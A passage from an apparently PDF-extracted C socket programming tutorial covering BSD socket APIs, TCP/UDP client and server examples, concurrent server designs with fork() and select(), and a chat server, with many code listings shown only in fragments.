close() “One-way” close of a socket descriptor.
Allows you to cut off communication in a certain direction,
shutdown()
or both ways just like close() does.
Table 8
- gethostbyname() - given a hostname, returns a structure which specifies its DNS name(s) and IP
address (es).
- getservbyname() - given service name and protocol, returns a structure which specifies its
name(s) and its port address.
- gethostname() - returns hostname of local host.
- getservbyname(), getservbyport(), getservent().
- getprotobyname(), getprotobynumber(), getprotobyent(), getnetbyname(),
getnetbyaddr(), getnetent().
ntohs()/ntohl() Convert short/long from network byte order (big endian) to host byte order.
htons()/htonl() Convert short/long from host byte order to network byte order.
inet_ntoa()/inet_addr() Convert 32-bit IP address (network byte order to/from a dotted decimal string).
perror() Print error message (based on “errno”) to stderr.
herror() Print error message for gethostbyname() to stderr (used with DNS).
Table 9
- Include file sequence may affect processing (order is important!). Other header files that define macro,
data type, structure and functions are given in the summary Table at the end of this Tutorial.
Table 10
www.tenouk.com Page 29 of 31
---------------------------------------------------End socket Part I------------------------------------------------------
- Programs that use the socket functions must include one or more header files that contain information
that is needed by the functions, such as:
▪ Macro definitions.
▪ Data type definitions.
▪ Structure definitions.
▪ Function prototypes.
- The following Table is a summary of the header files used in conjunction with the socket APIs.
www.tenouk.com Page 30 of 31
▪ sockaddr
▪ msghdr
▪ linger
You must include this file in all socket applications.
Defines prototypes, macros, variables, and structures that are associated with time
<sys/time.h>
functions.
Defines various data types. Also includes prototypes, macros, variables, and
<sys/types.h> structures that are associated with the select() function. You must include this
file in all socket applications.
Defines prototypes, macros, variables, and structures that are associated with I/O
<sys/uio.h>
functions.
Defines prototypes, macros, variables, and the sockaddr_un structure to use with
<sys/un.h>
UNIX domain sockets.
Contains macros and structures that are defined by the integrated file system.
<unistd.h>
Needed when the system uses the read() and write() system functions.
…Continue on next Module…More program examples…More in-depth discussion about TCP/IP suite is given in
Module 42.
1. Check the best selling C/C++, Networking, Linux and Open Source books at Amazon.com.
2. Protocol sequence diagram examples.
3. Another site for protocols information.
4. RFCs.
5. External Data Representation (XDR).
6. Remote Procedure Call (RPC).
www.tenouk.com Page 31 of 31
MODULE 40
NETWORK PROGRAMMING
SOCKET PART II
Note:
This is a continuation from Part I, Module 39. Working program examples compiled using gcc, tested using the
public IPs, run on Fedora 3, with several times of update, as normal user. The Fedora machine used for the testing
having the "No Stack Execute" disabled and the SELinux set to default configuration.
Abilities
- Some of the information in this section is a repetition from the previous one.
telnet telserv.test.com
telnet 131.95.115.204
NAME
gethostbyname() - get network host entry
SYNOPSIS
#include <netdb.h>
extern int h_errno;
struct hostent
*gethostbyname(const char *name);
struct hostent {
char *h_name;
char **h_aliases;
int h_addrtype;
int h_length;
char **h_addr_list;
};
#define h_addr h_addr_list[0]
www.tenouk.com
NAME
getservbyname() - get service entry
SYNOPSIS
#include <netdb.h>
struct servent {
char *s_name;
char **s_aliases;
int s_port;
char *s_proto;
}
- s_port: port number for the service given in network byte order.
NAME
getprotobyname() - get protocol entry
SYNOPSIS
#include <netdb.h>
struct protoent
*getprotobyname(const char *name);
struct protoent {
char *p_name;
char **p_aliases;
int p_proto;
}
getpeername()
- The function getpeername() will tell you who is at the other end of a connected stream socket.
- The prototype:
#include <sys/socket.h>
int getpeername(int sockfd, struct sockaddr *addr, int *addrlen);
Allocating a Socket
#include <sys/types.h>
#include <sys/socket.h>
int s;
www.tenouk.com
Connecting to a Server with TCP
- connect().
NAME
connect - initiate a connection on a socket
SYNOPSIS
#include <sys/types.h>
#include <sys/socket.h>
RETURN VALUE
If the connection or binding succeeds, zero is returned.
On error, -1 is returned, and errno is set appropriately.
left = 100;
b = buf;
while (left && (n = read(s, buf, left)) > 0)
{
b += n;
left -= n;
}
- The client and server can not know how many bytes are sent in each write.
- Delivered chunks are not always the same size as in the original write.
- Reads must be handled in a loop to cope with stream sockets.
www.tenouk.com
- Receiver receives the complete datagram unless fewer bytes are read.
- Reading in a loop for a single datagram is pointless with UDP.
- close() is adequate, since shutdown() does not send any messages.
- UDP is unreliable. UDP software needs an error protocol.
connectTCP()
connectUDP()
connectsock()
int connectsock(const char *host, const char *service, const char *transport)
{
struct hostent *phe; /* pointer to host information entry */
struct servent *pse; /* pointer to service information entry */
struct protoent *ppe; /* pointer to protocol information entry*/
struct sockaddr_in sin; /* an Internet endpoint address */
int s, type; /* socket descriptor and socket type */
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
www.tenouk.com
type = SOCK_STREAM;
/* Allocate a socket */
s = socket(PF_INET, type, ppe->p_proto);
if(s < 0)
errexit("can't create socket: %s\n", strerror(errno));
s = connectTCP(host, service);
www.tenouk.com
int main(int argc, char *argv[])
{
char *host = "localhost"; /* host to use if none supplied */
char *service = "time"; /* default service name */
time_t now; /* 32-bit integer to hold time */
int s, n; /* socket descriptor, read count*/
switch (argc) {
case 1:
host = "localhost";
break;
case 3:
service = argv[2];
/* FALL THROUGH */
case 2:
host = argv[1];
break;
default:
fprintf(stderr, "usage: UDPtime [host [port]]\n");
exit(1);
}
s = connectUDP(host, service);
TCPecho() function
- The following is a code segment example for using the TCPecho() function.
s = connectTCP(host, service);
/* read it back */
for(inchars = 0; inchars < outchars; inchars+=n)
{
n = read(s, &buf[inchars], outchars - inchars);
if(n < 0)
errexit("socket read failed: %s\n", strerror(errno));
}
fputs(buf, stdout);
}
}
UDPecho() function
- The following is a code segment example for using the UDPecho() function.
www.tenouk.com
int UDPecho(const char *host, const char *service)
{
/* buffer for one line of text */
char buf[LINELEN+1];
/* socket descriptor, read count */
int s, nchars;
s = connectUDP(host, service);
Connection-oriented Servers
Connectionless Servers
Stateless Servers
- Statelessness improves reliability at the cost of longer requests and slower performance.
- Improving performance generally adds state information. For example, adding a cache of file data.
- Crashing clients leave state information in server.
- You could use LRU replacement to re-use space.
- A frequently crashing client could dominate the state table, wiping out performance gains.
- Maintaining state information correctly and efficiently is complex.
www.tenouk.com
- Request processing time (rpt) = total time server uses to handle a single request.
- Observed response time (ort) = delay between issuing a request and receiving a response
- rpt <= ort.
- If the server has a large request queue, ort can be large.
- Iterative servers handle queued requests sequentially.
- With N items queued the average iterative (ort = N * rpt).
- With N items queued a concurrent server can do better.
- Implementations restrict queue size.
- Programmers need a concurrent design if a small queue is inadequate.
- The following is a sample of pseudo codes for iterative, connection oriented server.
create a socket
bind to a well-known port
place in passive mode
while (1)
{
Accept the next connection
while (client writes)
{
read a client request
perform requested action
send a reply
}
close the client socket
}
close the passive socket
Using INADDR_ANY
create a socket
bind to a well-known port
while (1)
{
read a request from some client
send a reply to that client
}
create a socket
bind to a well-known port
while (1)
{
read a request from some client
fork
if(child)
{
send a reply to that client
exit
}
}
www.tenouk.com
Concurrent, Connection-Oriented Server Algorithm
create a socket
bind to a well-known port
use listen to place in passive mode
while (1)
{
accept a client connection
fork
if (child)
{
communicate with new socket
close new socket
exit
}
else
{close new socket}
}
- The following is a sample of pseudo codes for concurrency using a single process.
create a socket
bind to a well-known port
while (1)
{
use select to wait for I/O
if(original socket is ready)
{
accept() a new connection and add to read list
}
else if (a socket is ready for read)
{
read data from a client
if(data completes a request)
{
do the request
if(reply needed) add socket to write list
}
}
else if (a socket is ready for write)
{
write data to a client
if(message is complete)
{
remove socket from write list
}
else
{
adjust write parameters and leave in write list
}
}
}
- Iterative vs Concurrent.
www.tenouk.com
▪ Use multiple processes if each slave is isolated or if you have multiple CPUs.
- Connection-Oriented vs Connectionless.
u_short portbase = 0;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
/* Allocate a socket */
s = socket(PF_INET, type, ppe->p_proto);
if(s < 0)
errexit("can't create socket: %s\n", strerror(errno));
A TIME Server
www.tenouk.com
{
struct sockaddr_in fsin;
char *service = "time";
char buf[1];
int sock;
time_t now;
int alen;
sock = passiveUDP(service);
while (1)
{
alen = sizeof(fsin);
if(recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *)&fsin, &alen) < 0)
errexit("recvfrom: %s\n", strerror(errno));
time(&now);
now = htonl((u_long)now);
sendto(sock, (char *)&now, sizeof(now), 0, (struct sockaddr *)&fsin, sizeof(fsin));
}
}
A DAYTIME Server
while (1) {
ssock = accept(msock, (struct sockaddr *)&fsin, &alen);
if(ssock < 0)
errexit("accept failed: %s\n", strerror(errno));
TCPdaytimed(ssock);
close(ssock);
}
}
time(&now);
pts = ctime(&now);
write(fd, pts, strlen(pts));
return;
}
www.tenouk.com
- An iterative server may block for excessive time periods.
- An example is an echo server. A client could send many megabytes blocking other clients for
substantial periods.
- A concurrent echo server could handle multiple clients simultaneously. Abusive clients would not
affect polite clients as much.
- The following is a sample codes for concurrent Echo server using fork().
signal(SIGCHLD, reaper);
while (1)
{
alen = sizeof(fsin);
ssock = accept(msock, (struct sockaddr *)&fsin, &alen);
if(ssock < 0) {
if(errno == EINTR)
continue;
errexit("accept: %s\n", strerror(errno));
}
switch (fork())
{
/* child */
case 0:
close(msock);
exit(TCPechod(ssock));
/* parent */
default:
close(ssock);
break;
case -1:
errexit("fork: %s\n", strerror(errno));
}
}
}
Data-driven Processing
www.tenouk.com
- Arrival of data triggers processing.
- A message is typically a request.
- Server replies and awaits additional requests.
- If processing time is small, the requests may be possible to handle sequentially.
- Timesharing would be necessary only when the processing load is too high for sequential processing.
- Timesharing with multiple slaves is easier.
- A process calls select to wait for one (or more) of a collection of open files (or sockets) to be ready for
I/O.
int select(int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval
*timeout);
- The following is a sample codes for Echo server using a single process.
nfds = getdtablesize();
FD_ZERO(&afds);
FD_SET(msock, &afds);
while (1) {
memcpy(&rfds, &afds, sizeof(rfds));
if(select(nfds, &rfds, (fd_set *)0, (fd_set *)0, (struct timeval *)0) < 0)
errexit("select: %s\n", strerror(errno));
if(FD_ISSET(msock, &rfds))
{
int ssock;
alen = sizeof(fsin);
ssock = accept(msock, (struct sockaddr *)&fsin, &alen);
if(ssock < 0)
errexit("accept: %s\n", strerror(errno));
FD_SET(ssock, &afds);
}
for(fd=0; fd < nfds; ++fd)
if(fd != msock && FD_ISSET(fd, &rfds))
if(echo(fd) == 0)
{
(void) close(fd);
FD_CLR(fd, &afds);
}
}
}
www.tenouk.com
char buf[BUFSIZ];
int cc;
Multiprotocol Servers
- Using separate UDP and TCP servers gives the system administrator more flexibility.
- Using separate servers result in 2 moderately simple servers.
- Using one server eliminates duplicate code simplifying software maintenance.
- Using one server reduces the number of active processes.
FD_ZERO(&rfds);
while (1) {
FD_SET(tsock, &rfds);
FD_SET(usock, &rfds);
if(select(nfds, &rfds, (fd_set *)0, (fd_set *)0, (struct timeval *)0) < 0)
errexit("select error: %s\n", strerror(errno));
if(FD_ISSET(tsock, &rfds))
{
/* TCP slave socket */
int ssock;
alen = sizeof(fsin);
ssock = accept(tsock, (struct sockaddr *)&fsin, &alen);
if(ssock < 0)
errexit("accept failed: %s\n", strerror(errno));
daytime(buf);
(void) write(ssock, buf, strlen(buf));
(void) close(ssock);
}
if(FD_ISSET(usock, &rfds))
{
alen = sizeof(fsin);
if(recvfrom(usock, buf, sizeof(buf), 0, (struct sockaddr *)&fsin, &alen) < 0)
errexit("recvfrom: %s\n", strerror(errno));
daytime(buf);
(void) sendto(usock, buf, strlen(buf), 0, (struct sockaddr *)&fsin, sizeof(fsin));
}
}
}
www.tenouk.com
(void) time(&now);
sprintf(buf, "%s", ctime(&now));
}
Multiservice Servers
- Fewer processes.
- Less memory.
- Less code duplication.
- Server complexity is really a result of accepting connections and handling concurrency.
- Having one server means the complex code does not need to be replicated.
- Server opens multiple passive TCP sockets each bound to a different port.
- Server keeps an array of function pointers to associate each socket with a service functions.
- Server uses select to determine which socket (port) to service next.
- When a connection is ready, server calls accept to start handling a connection.
- Server calls the proper service function.
- Master uses select to wait for connections over a set of passive TCP sockets.
- Master forks after accept.
- Slave handles communication with the client.
- Master uses select to wait for connections over a set of passive TCP sockets.
- After each accepts the new socket is added to the fd_set(s) as needed to handle client
communication.
- Complex if the client protocols are not trivial.
- Master uses select() to wait for connections over a set of passive TCP sockets.
- Master forks after accept.
- Child process uses execve to start a slave program to handle client communication.
- Different protocols are separated making it simpler to maintain.
- Changes to a slave program can be implemented without restarting the master.
- Master uses select to wait for connections over a set of passive TCP sockets.
- In addition the fd_set includes a set of UDP sockets awaiting client messages.
- If a UDP message arrives, the master calls a handler function which formulates and issues a reply.
- If a TCP connection is needed the master calls accept.
- For simpler TCP connections, the master can handle read and write requests iteratively.
- The master can also use select.
- Lastly the master can use fork and let the child handle the connection.
www.tenouk.com
struct service {
char *sv_name;
char sv_useTCP;
int sv_sock;
int (*sv_func)(int);
};
nfds = 0;
FD_ZERO(&afds);
for(psv = &svent[0]; psv->sv_name; ++psv)
{
if(psv->sv_useTCP)
psv->sv_sock = passiveTCP(psv->sv_name, QLEN);
else
psv->sv_sock = passiveUDP(psv->sv_name);
fd2sv[psv->sv_sock] = psv;
nfds = MAX(psv->sv_sock+1, nfds);
FD_SET(psv->sv_sock, &afds);
}
while (1) {
memcpy(&rfds, &afds, sizeof(rfds));
if(select(nfds, &rfds, (fd_set *)0, (fd_set *)0, (struct timeval *)0) < 0)
{
if(errno == EINTR)
continue;
errexit("select error: %s\n", strerror(errno));
}
for(fd=0; fd<nfds; ++fd)
{
if(FD_ISSET(fd, &rfds))
{
psv = fd2sv[fd];
if(psv->sv_useTCP)
doTCP(psv);
else
psv->sv_func(psv->sv_sock);
}
}
}
}
alen = sizeof(fsin);
ssock = accept(psv->sv_sock, (struct sockaddr *)&fsin, &alen);
if(ssock < 0)
errexit("accept: %s\n", strerror(errno));
switch (fork())
{
case 0:
break;
case -1:
www.tenouk.com
errexit("fork: %s\n", strerror(errno));
default:
(void) close(ssock);
/* parent */
return;
}
/* child */
for(fd = NOFILE; fd >= 0; --fd)
if(fd != ssock) (void) close(fd);
exit(psv->sv_func(ssock));
}
Concurrency vs Iteration
Level of Concurrency
- OS can run out of resources such as memory, processes, sockets, buffers causing blocking, thrashing,
crashing...
- Demand for one service can inhibit others e.g. web server may prevent other use.
- Over-use can limit performance e.g. ftp server could be so slow that clients cancel requests wasting
time spent doing a partial transfer.
Cost of Concurrency
- Assuming a forking concurrent server, each connection requires time for a process creation (c).
- Each connection also requires some time for processing requests (p).
- Consider 2 requests arriving at the same time.
- Iterative server completes both at time 2p.
- Concurrent server completes both perhaps at time 2c+p.
- If p < 2c the iterative server is faster.
- The situation can get worse with more requests.
- The number of active processes can exceed the CPU capacity.
- Servers with heavy loads generally try to dodge the process creation cost.
www.tenouk.com
- Due to child processes inheriting the parent's passive socket, the slaves can all wait in accept on the
same socket.
- For UDP, the slaves can all call recvfrom on the same socket.
- To avoid problems like memory leaks, the slaves can be periodically replaced.
- For UDP, bursts can overflow buffers causing data loss. Pre-allocation can limit this problem.
Dynamic Pre-allocation
- Pre-allocation can cause extra processing time if many slaves are all waiting on the same socket.
- If the server is busy, it can be better to have many slaves pre-allocated.
- If the server is idle, it can be better to have very few slaves pre-allocated.
- Some servers (Apache) adjust the level of concurrency according to service demand.
Delayed Allocation
- Rather than immediately forking, the master can quickly examine a request.
- It may be faster for some requests to handle them in the master rather than forking.
- Longer requests may be more appropriate to handle in a child process.
- If it is hard to quickly estimate processing time, the server can set a timer to expire after a small time
and then fork to let a child finish the request.
Client Concurrency
------------------------Program Examples----------------------
DNS
- DNS stands for "Domain Name System" (for Windows implementation it is called Domain Name
Service). For socket it has three major components:
▪ Domain name space and resource records: Specifications for a tree-structured name space and the
data associated with the names.
▪ Name servers: Server programs that hold information about the domain tree structure and that set
information.
▪ Resolvers: Programs that extract information from name servers in response to client requests.
- DNS used to translate the IP address to domain name and vice versa. This way, when someone enters:
telnet serv.google.com
- telnet can find out that it needs to connect() to let say, "198.137.240.92". To get these
information we can use gethostbyname():
#include <netdb.h>
- As you see, it returns a pointer to a struct hostent, and struct hostent is shown below:
struct hostent
{
char *h_name;
char **h_aliases;
int h_addrtype;
int h_length;
char **h_addr_list;
};
www.tenouk.com
Member Description
h_name Official name of the host.
h_aliases A NULL-terminated array of alternate names for the host.
h_addrtype The type of address being returned; usually AF_INET.
h_length The length of the address in bytes.
A zero-terminated array of network addresses for the host. Host
h_addr_list
addresses are in Network Byte Order.
h_addr The first address in h_addr_list.
Table 40.1
- gethostbyname() returns a pointer to the filled struct hostent, or NULL on error but errno
is not set, h_errno is set instead.
- As said before in implementation we use Domain Name Service in Windows and BIND in Unix/Linux.
Here, we configure the Forward Lookup Zone for name to IP resolution and Reverse Lookup Zone for
the reverse.
- The following is a program example using the gethostname().
/*****getipaddr.c ******/
/****a hostname lookup program example******/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
www.tenouk.com
- Compile and link the program.
- Run the program. Because of the server used in this testing is using public IP address, we can test it
querying the public domain such as www.yahoo.com :o).
- With gethostbyname(), you can’t use perror() to print error message since errno is not used
instead, call herror().
- You simply pass the string that contains the machine name ("www.google.com") to
gethostbyname(), and then grab the information out of the returned struct hostent.
- The only possible weirdness might be in the printing of the IP address. Here, h->h_addr is a
char*, but inet_ntoa() wants a struct in_addr passed to it. So we need to cast h-
>h_addr to a struct in_addr*, then dereference it to get the data.
- Just about everything on the network deals with client processes talking to server processes and vice-
versa. For example take a telnet.
- When you telnet to a remote host on port 23 at client, a program on that server normally called
telnetd (telnet daemon), will respond. It handles the incoming telnet connection, sets you up with a
login prompt, etc. In Windows this daemon normally called a service. The daemon or service must be
running in order to do the communication.
- Note that the client-server pair can communicate using SOCK_STREAM, SOCK_DGRAM, or anything
else (as long as they’re using the same protocol). Some good examples of client-server pairs are
telnet/telnetd, ftp/ftpd, or bootp/bootpd. Every time you use ftp, there’s a remote
program, ftpd that will serve you.
- Often, there will only be one server, and that server will handle multiple clients using fork() etc. The
basic routine is: server will wait for a connection, accept() it and fork() a child process to handle
it. The following program example is what our sample server does.
- What this server does is send the string "This is a test string from server!" out over a
stream connection.
www.tenouk.com
- To test this server, run it in one window and telnet to it from another window or run it in a server and
telnet to it from another machine with the following command.
- Where the_remote_hostname is the name of the machine you’re running it on. The following is
the server source code:
void sigchld_handler(int s)
{
while(wait(NULL) > 0);
}
www.tenouk.com
if(listen(sockfd, BACKLOG) == -1)
{
perror("Server-listen() error");
exit(1);
}
printf("Server-listen() is OK...Listening...\n");
/*accept() loop*/
while(1)
{
sin_size = sizeof(struct sockaddr_in);
if((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size)) == -1)
{
perror("Server-accept() error");
continue;
}
else
printf("Server-accept() is OK...\n");
printf("Server-new socket, new_fd is OK...\n");
printf("Server: Got connection from %s\n", inet_ntoa(their_addr.sin_addr));
[bodo@bakawali testsocket]$
- Verify that the program is running in the background. You may do this from another terminal.
www.tenouk.com
[bodo@bakawali testsocket]$ bg
[1]+ ./serverprog &
- Verify that the program/process is listening on the specified port, waiting for connection.
- Then, trying the telnet. Open another terminal, telnet itself with the specified port number. Here we
use the server name, bakawali. When the string is displayed press the Escape character Ctrl+] ( ^]
). Then we have a real telnet session.
...
telnet> quit
Connection closed.
[bodo@bakawali ~]$
- If we do not stop the server program/process (Ctrl+Z), at the server terminal the following messages
should be displayed. Press Enter (Carriage Return) key back to the prompt.
- To stop the process just issue a normal kill command. Before that verify again.
www.tenouk.com
[bodo@bakawali testsocket]$ netstat -a | grep 3490
tcp 0 0 *:3490 *:* LISTEN
[bodo@bakawali testsocket]$
- The server program seems OK. Next section is a client program, clientprog.c that we will use to
test our server program, serverprog.c.
- The sigaction() code is responsible for cleaning the zombie processes that appear as the
fork()ed child processes. You will get the message from this server by using the client program
example presented in the next section.
- This client will connect to the host that you specify in the command line, with port 3490. It will get the
string that the previous server sends. The following is the source code.
www.tenouk.com
//host byte order
their_addr.sin_family = AF_INET;
//short, network byte order
printf("Server-Using %s and port %d...\n", argv[1], PORT);
their_addr.sin_port = htons(PORT);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
//zero the rest of the struct
memset(&(their_addr.sin_zero), '\0', 8);
buf[numbytes] = '\0';
printf("Client-Received: %s", buf);
printf("Client-Closing sockfd\n");
close(sockfd);
return 0;
}
- Run the program with server IP address or name as an argument. Here we use IP address.
- Make sure your previous serverprog program is running. We will connect using the same server.
You can try running the server and client program at different machines.
www.tenouk.com
Server-bind() is OK...
Server-listen() is OK...Listening...
Server-sigaction() is OK...
Server-accept() is OK...
Server-new socket, new_fd is OK...
Server: Got connection from 203.106.93.94
Server-send() is OK...!
Server-new socket, new_fd closed successfully...
- Well, our server and client programs work! Here we run the server program and let it listens for
connection. Then we run the client program. They got connected!
- Notice that if you don’t run the server before you run the client, connect() returns "Connection
refused" message as shown below.
- The following program examples use the UDP, the connectionless datagram. The senderprog.c
(client) is sending a message to receiverprog.c (server) that acts as listener.
www.tenouk.com
if((numbytes = recvfrom(sockfd, buf, MAXBUFLEN-1, 0, (struct sockaddr *)&their_addr,
&addr_len)) == -1)
{
perror("Server-recvfrom() error lol!");
/*If something wrong, just exit lol...*/
exit(1);
}
else
{
printf("Server-Waiting and listening...\n");
printf("Server-recvfrom() is OK...\n");
}
if(close(sockfd) != 0)
printf("Server-sockfd closing failed!\n");
else
printf("Server-sockfd successfully closed!\n");
return 0;
}
- Run the program, and then verify that it is running in background, start listening, waiting for
connection.
- This is UDP server, trying telnet to this server will fail because telnet uses TCP instead of UDP.
- Notice that in our call to socket() we’re using SOCK_DGRAM. Also, note that there’s no need to
listen() or accept(). The following is the source code for senderprog.c (the client).
www.tenouk.com
struct sockaddr_in their_addr;
struct hostent *he;
int numbytes;
if (argc != 3)
{
fprintf(stderr, "Client-Usage: %s <hostname> <message>\n", argv[0]);
exit(1);
}
/* get the host info */
if ((he = gethostbyname(argv[1])) == NULL)
{
perror("Client-gethostbyname() error lol!");
exit(1);
}
else
printf("Client-gethostname() is OK...\n");
if (close(sockfd) != 0)
printf("Client-sockfd closing is failed!\n");
else
printf("Client-sockfd successfully closed!\n");
return 0;
}
[bodo@bakawali testsocket]$ ./senderprog 203.106.93.94 "Testing UDP datagram message from client"
Client-gethostname() is OK...
Client-socket() sockfd is OK...
Using port: 4950
Server-Waiting and listening...
Server-recvfrom() is OK...
Server-Got packet from 203.106.93.94
Server-Packet is 42 bytes long
Server-Packet contains "Testing UDP datagram message from client"
Server-sockfd successfully closed!
Client-sendto() is OK...
www.tenouk.com
sent 42 bytes to 203.106.93.94
Client-sockfd successfully closed!
[1]+ Done ./receiverprog
[bodo@bakawali testsocket]$
- Here, we test the UDP server and the client using the same machine. Make sure there is no restriction
such as permission etc. for the user that run the programs.
- To make it really real, may be you can test these programs by running receiverprog on some
machine, and then run senderprog on another. If there is no error, they should communicate.
- If senderprog calls connect() and specifies the receiverprog’s address then the
senderprog may only sent to and receive from the address specified by connect().
- For this reason, you don’t have to use sendto() and recvfrom(); you can simply use send()
and recv().
Blocking
- In a simple word 'block' means sleep but in a standby mode. You probably noticed that when you run
receiverprog, previously, it just sits there until a packet arrives.
- What happened is that it called recvfrom(), there was no data, and so recvfrom() is said to
"block" (that is, sleep there) until some data arrives. The socket functions that can block are:
accept()
read()
readv()
recv()
recvfrom()
recvmsg()
send()
sendmsg()
sendto()
write()
writev()
- The reason they can do this is because they’re allowed to. When you first create the socket descriptor
with socket(), the kernel sets it to blocking.
- If you don’t want a socket to be blocking, you have to make a call to fcntl() something like the
following:
#include <unistd.h>
#include <fcntl.h>
...
...
sockfd = socket(AF_INET, SOCK_STREAM, 0);
fcntl(sockfd, F_SETFL, O_NONBLOCK);
...
...
- By setting a socket to non-blocking, you can effectively 'poll' the socket for information. If you try to
read from a non-blocking socket and there’s no data there, it’s not allowed to block, it will return -1
and errno will be set to EWOULDBLOCK.
- Generally speaking, however, this type of polling is a bad idea. If you put your program in a busy-wait
looking for data on the socket, you’ll suck up CPU time.
- A more elegant solution for checking to see if there’s data waiting to be read comes in the following
section on select().
- One traditional way to write network servers is to have the main server block on accept(), waiting
for a connection. Once a connection comes in, the server fork()s, then the child process handles the
connection and the main server is able to service new incoming requests.
- With select(), instead of having a process for each request, there is usually only one process that
multiplexes all requests, servicing each request as much as it can.
- So one main advantage of using select() is that your server will only require a single process to
handle all requests. Thus, your server will not need shared memory or synchronization primitives for
different tasks to communicate.
www.tenouk.com
- As discussed before we can use the non-blocking sockets’ functions but it is CPU intensive.
- One major disadvantage of using select(), is that your server cannot act like there's only one client,
like with a fork()'ing solution. For example, with a fork()'ing solution, after the server fork()s,
the child process works with the client as if there was only one client in the universe, the child does not
have to worry about new incoming connections or the existence of other sockets.
- With select(), the programming isn't as transparent. The prototype is as the following:
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
- The function monitors "sets" of file descriptors; in particular readfds, writefds, and
exceptfds. If you want to see if you can read from standard input and some socket descriptor,
sockfd, just add the file descriptors 0 and sockfd to the set readfds.
- The parameter numfds should be set to the values of the highest file descriptor plus one. In this
example, it should be set to sockfd+1, since it is assuredly higher than standard input that is 0.
- When select() returns, readfds will be modified to reflect which of the file descriptors you have
selected which is ready for reading. You can test them with the macro FD_ISSET() listed below.
- Let see how to manipulate these sets. Each set is of the type fd_set. The following macros operate
on this type:
- select() works by blocking until something happens on a file descriptor/socket. The 'something' is
the data coming in or being able to write to a file descriptor, you tell select() what you want to be
woken up by. How do you tell it? You fill up an fd_set structure with some macros.
- Most select()based servers look quite similar:
▪ Fill up an fd_set structure with the file descriptors you want to know when data comes in on.
▪ Fill up an fd_set structure with the file descriptors you want to know when you can write on.
▪ Call select() and block until something happens.
▪ Once select() returns, check to see if any of your file descriptors was the reason you woke
up. If so, 'service' that file descriptor in whatever particular way your server needs to (i.e. read in
a request for a Web page).
▪ Repeat this process forever.
- Sometimes you don’t want to wait forever for someone to send you some data. Maybe every 60
seconds you want to print something like "Processing..." to the terminal even though nothing has
happened.
- The timeval structure allows you to specify a timeout period. If the time is exceeded and
select() still hasn’t found any ready file descriptors, it’ll return, so you can continue processing.
- The struct timeval has the following fields:
struct timeval
{
int tv_sec; /* seconds */
int tv_usec; /* microseconds */
};
- Just set tv_sec to the number of seconds to wait, and set tv_usec to the number of microseconds to
wait. There are 1,000,000 microseconds in a second. Also, when the function returns, timeout
might be updated to show the time still remaining.
- Standard UNIX time slice is around 100 milliseconds, so you might have to wait that long no matter
how small you set your struct timeval.
- If you set the fields in your struct timeval to 0, select() will timeout immediately,
effectively polling all the file descriptors in your sets. If you set the parameter timeout to NULL, it
will never timeout, and will wait until the first file descriptor is ready.
- Finally, if you don’t care about waiting for a certain set, you can just set it to NULL in the call to
select().
- The following code snippet waits 5.8 seconds for something to appear on standard input.
www.tenouk.com
/*selectcp.c - a select() demo*/
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
/* file descriptor for standard input */
#define STDIN 0
FD_ZERO(&readfds);
FD_SET(STDIN, &readfds);
/* don’t care about writefds and exceptfds: */
select(STDIN+1, &readfds, NULL, NULL, &tval);
if (FD_ISSET(STDIN, &readfds))
printf("A key was pressed lor!\n");
else
printf("Timed out lor!...\n");
return 0;
}
- Compile and link the program. Make sure there is no error :o).
- If you’re on a line buffered terminal, the key you hit should be RETURN or it will time out anyway.
- Now, some of you might think this is a great way to wait for data on a datagram socket and you are
right: it might be. Some Unices can use select() in this manner, and some can’t. You should see
what your local man page says on the matter if you want to attempt it.
- Some Unices update the time in your struct timeval to reflect the amount of time still remaining
before a timeout. But others do not. Don’t rely on that occurring if you want to be portable. Use
gettimeofday() if you need to track time elapsed.
- When a socket in the read set closes the connection, select() returns with that socket descriptor
set as "ready to read". When you actually do recv() from it, recv() will return 0. That’s how you
know the client has closed the connection.
- If you have a socket that is listen()ing, you can check to see if there is a new connection by putting
that socket’s file descriptor in the readfds set.
1. Check the best selling C/C++, Networking, Linux and Open Source books at Amazon.com.
www.tenouk.com
MODULE 41
NETWORK PROGRAMMING
SOCKET PART III
-Program Examples-
Note:
This is a continuation from Part II, Module40. Working program examples compiled using gcc, tested using the
public IPs, run on Fedora 3 with several times update, as normal user. The Fedora machine used for the testing
having the "No Stack Execute" disabled and the SELinux set to default configuration. All the program
example is generic. Beware codes that expand more than one line. Have a nice ride lol!
- The following program example acts like a simple multi-user chat server. Start running it in one
window, then telnet to it ("telnet hostname 2020") from multiple other windows.
- When you type something in one telnet session, it should appear in all the others windows.
/*******select.c*********/
/*******Using select() for I/O multiplexing*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/* port we're listening on */
#define PORT 2020
www.tenouk.com Page 1 of 27
int nbytes;
/* for setsockopt() SO_REUSEADDR, below */
int yes = 1;
int addrlen;
int i, j;
/* clear the master and temp sets */
FD_ZERO(&master);
FD_ZERO(&read_fds);
/* bind */
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = INADDR_ANY;
serveraddr.sin_port = htons(PORT);
memset(&(serveraddr.sin_zero), '\0', 8);
/* listen */
if(listen(listener, 10) == -1)
{
perror("Server-listen() error lol!");
exit(1);
}
printf("Server-listen() is OK...\n");
/* loop */
for(;;)
{
/* copy it */
read_fds = master;
www.tenouk.com Page 2 of 27
FD_SET(newfd, &master); /* add to master set */
if(newfd > fdmax)
{ /* keep track of the maximum */
fdmax = newfd;
}
printf("%s: New connection from %s on socket %d\n", argv[0],
inet_ntoa(clientaddr.sin_addr), newfd);
}
}
else
{
/* handle data from a client */
if((nbytes = recv(i, buf, sizeof(buf), 0)) <= 0)
{
/* got error or connection closed by client */
if(nbytes == 0)
/* connection closed */
printf("%s: socket %d hung up\n", argv[0], i);
else
